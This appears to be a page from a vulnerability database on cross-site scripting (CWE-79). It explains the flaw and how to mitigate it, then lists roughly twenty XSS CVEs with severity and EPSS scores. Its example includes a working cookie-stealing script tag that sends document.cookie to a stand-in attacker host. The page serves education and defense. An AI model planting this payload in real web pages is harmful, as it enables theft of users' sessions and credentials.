Fallos del tipo CWE-79

29.306 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-52526MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.phpEPSS 0.5%CVE-2023-5470MEDIUMEtsy Shop <= 3.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-34089HIGHAn issue was discovered in Archer Platform 6 before 2024.04. There is a stored cross-site scripting (XSS) vulnerability. A remote authenticaEPSS 0.5%CVE-2026-15346MEDIUMVikBooking Hotel Booking Engine & PMS <= 1.8.13 - Reflected Cross-Site Scripting via 'category_id' ParameterEPSS 0.5%CVE-2025-3533MEDIUMYouDianCMS index.html.Attackers cross site scriptingEPSS 0.5%CVE-2024-4216HIGHXSS vulnerability in /settings/store API response json payload in pgAdmin 4EPSS 0.5%CVE-2023-44311CRITICALMultiple reflected cross-site scripting (XSS) vulnerabilities in the Plugin for OAuth 2.0 module's OAuth2ProviderApplicationRedirect class iEPSS 0.5%CVE-2024-33371MEDIUMCross Site Scripting vulnerability in DedeCMS v.5.7.113 allows a remote attacker to execute arbitrary code via the typeid parameter in the mEPSS 0.5%CVE-2026-25734MEDIUMRucio WebUI has Stored Cross-site Scripting (XSS) in RSE MetadataEPSS 0.5%CVE-2026-18478MEDIUMStored XSS in Magnolia CMSEPSS 0.5%CVE-2022-2365MEDIUMCross-site Scripting (XSS) - Stored in zadam/triliumEPSS 0.5%CVE-2022-40606MEDIUMMITRE CALDERA before 4.1.0 allows XSS in the Operations tab and/or Debrief plugin via a crafted operation name, a different vulnerability thEPSS 0.5%CVE-2024-47536MEDIUMstarcitizentools/citizen-skin vulnerable to stored, self-XSS in the "real name" fieldEPSS 0.5%CVE-2025-32015MEDIUMFreshRSS vulnerable to Cross-site Scripting by embedding <script> tag inside <iframe srcdoc>EPSS 0.5%CVE-2026-64851HIGHGrav Shortcode Core Plugin: Stored XSS in shortcode-core attribute handlersEPSS 0.5%CVE-2026-21290HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-24041MEDIUMA stored cross-site scripting (XSS) vulnerability in Travel Journal Using PHP and MySQL with Source Code v1.0 allows attackers to execute arEPSS 0.5%CVE-2024-41665MEDIUMAmpache Stored Cross-site Scripting VulnerabilityEPSS 0.5%CVE-2022-40605MEDIUMMITRE CALDERA before 4.1.0 allows XSS in the Operations tab and/or Debrief plugin via a crafted operation name, a different vulnerability thEPSS 0.5%CVE-2023-42497CRITICALReflected cross-site scripting (XSS) vulnerability on the Export for Translation page in Liferay Portal 7.4.3.4 through 7.4.3.85, and LiferaEPSS 0.5%